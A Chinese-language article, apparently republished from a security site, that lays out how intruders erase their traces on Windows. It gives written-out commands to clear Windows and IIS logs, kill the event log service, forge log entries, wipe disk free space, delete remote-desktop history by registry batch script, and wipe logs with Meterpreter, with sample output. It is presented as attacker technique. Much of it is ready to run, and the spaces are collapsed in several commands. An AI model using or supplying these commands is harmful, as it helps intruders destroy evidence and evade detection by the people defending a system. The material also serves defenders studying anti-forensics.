為避免入侵行為被發現，攻擊者總是會通過各種方式來隱藏自己，比如：隱藏自己的真實IP、清除系統日誌、刪除上傳的工具、隱藏後門文件、擦除入侵過程中所產生的痕跡等。
01、Windows日誌清除
windows 日誌路徑：
系統日誌：%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日誌：%SystemRoot%\System32\Winevt\Logs\Security.evtx
應用程式日誌：%SystemRoot%\System32\Winevt\Logs\Application.evtx
日誌在註冊表的鍵：HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog
windows 日誌清除方式：
(1)最簡單粗暴的方式
開始→運行,輸入 eventvwr 進入事件查看器，右邊欄選擇清除日誌。
(2)命令行一鍵清除Windows事件日誌
PowerShell-Command"&{Clear-Eventlog-LogApplication,System,Security}"
Get-WinEvent-ListLogApplication,Setup,Security-Force|%{Wevtutil.execl$_.Logname}
(3)利用腳本停止日誌的記錄
通過該腳本遍歷事件日誌服務進程(專用svchost.exe)的線程堆棧，並標識事件日誌線程以殺死事件日誌服務線程。
因此，系統將無法收集日誌，同時事件日誌服務似乎正在運行。
(4)Windows單條日誌清除
該工具主要用於從Windows事件日誌中刪除指定的記錄。
(5)Windows日誌偽造
使用eventcreate這個命令行工具來偽造日誌或者使用自定義的大量垃圾信息覆蓋現有日誌。
eventcreate-lsystem-soadministrator-twarning-d"thisisatest"-id500
02、IIS日誌
IIS默認日誌路徑：
%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\
清除WWW日誌：
停止服務：net stop w3svc
刪除日誌目錄下所有文件：del *.*
啟用服務：net start w3svc
03、利用Windows自帶命令進行安全擦除
(1)Shift+Delete快捷鍵永久刪除
直接刪除文件，還是能在回收站找到的，使用Shift+Delete快捷鍵可以直接永久刪除了。但是用數據恢復軟體，刪除的文件儘快恢復，否則新的文件存入覆蓋了原來的文件痕跡就很難恢復了。
(2)Cipher 命令多次覆寫
在刪除文件後，可以利用Cipher 命令通過 /W 參數可反覆寫入其他數據覆蓋已刪除文件的硬碟空間，徹底刪除數據防止被恢復。
比如，刪除D:\tools目錄下的文件，然後執行這條命令：
cipher/w:D:\tools
這樣一來，D 盤上未使用空間就會被覆蓋三次：一次 0x00、一次 0xFF，一次隨機數，所有被刪除的文件就都不可能被恢復了。
(3)Format命令覆蓋格式化
Format 命令加上 /P 參數後，就會把每個扇區先清零，再用隨機數覆蓋。而且可以覆蓋多次。比如：
formatD:/P:8
這條命令表示把 D 盤用隨機數覆蓋 8 次。
04、清除遠程桌面連接記錄
當通過本機遠程連接其他客戶端或伺服器後，會在本機存留遠程桌面連接記錄。代碼保存為clear.bat文件，雙擊運行即可自動化清除遠程桌面連接記錄。
@echooff
regdelete"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Default"/va/f
regdelete"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Servers"/f
regadd"HKEY_CURRENT_USER\Software\Microsoft\TerminalServerClient\Servers"
cd%userprofile%\documents\
attribDefault.rdp-s-h
delDefault.rdp
05、Metasploit 痕跡清除
(1)查看事件日誌
meterpreter>runevent_manager-i
[*]RetrivingEventLogConfiguration
EventLogsonSystem
====================
NameRetentionMaximumSizeRecords
--------------------------------
ApplicationDisabled20971520K2149
HardwareEventsDisabled20971520K0
InternetExplorerDisabledK0
KeyManagementServiceDisabled20971520K0
SecurityDisabled20971520K1726
SystemDisabled20971520K3555
WindowsPowerShellDisabled15728640K138
(2)清除事件日誌(包括六種日誌類型)
meterpreter>runevent_manager-c
(3)另外，也可以輸入clearv命令清除目標系統的事件日誌(僅包含三種日誌類型)
meterpreter>clearev
[*]Wiping4recordsfromApplication...
[*]Wiping8recordsfromSystem...
[*]Wiping7recordsfromSecurity...
責任編輯：kj005
文章投訴熱線:156 0057 2229 投訴郵箱:29132 36@qq.com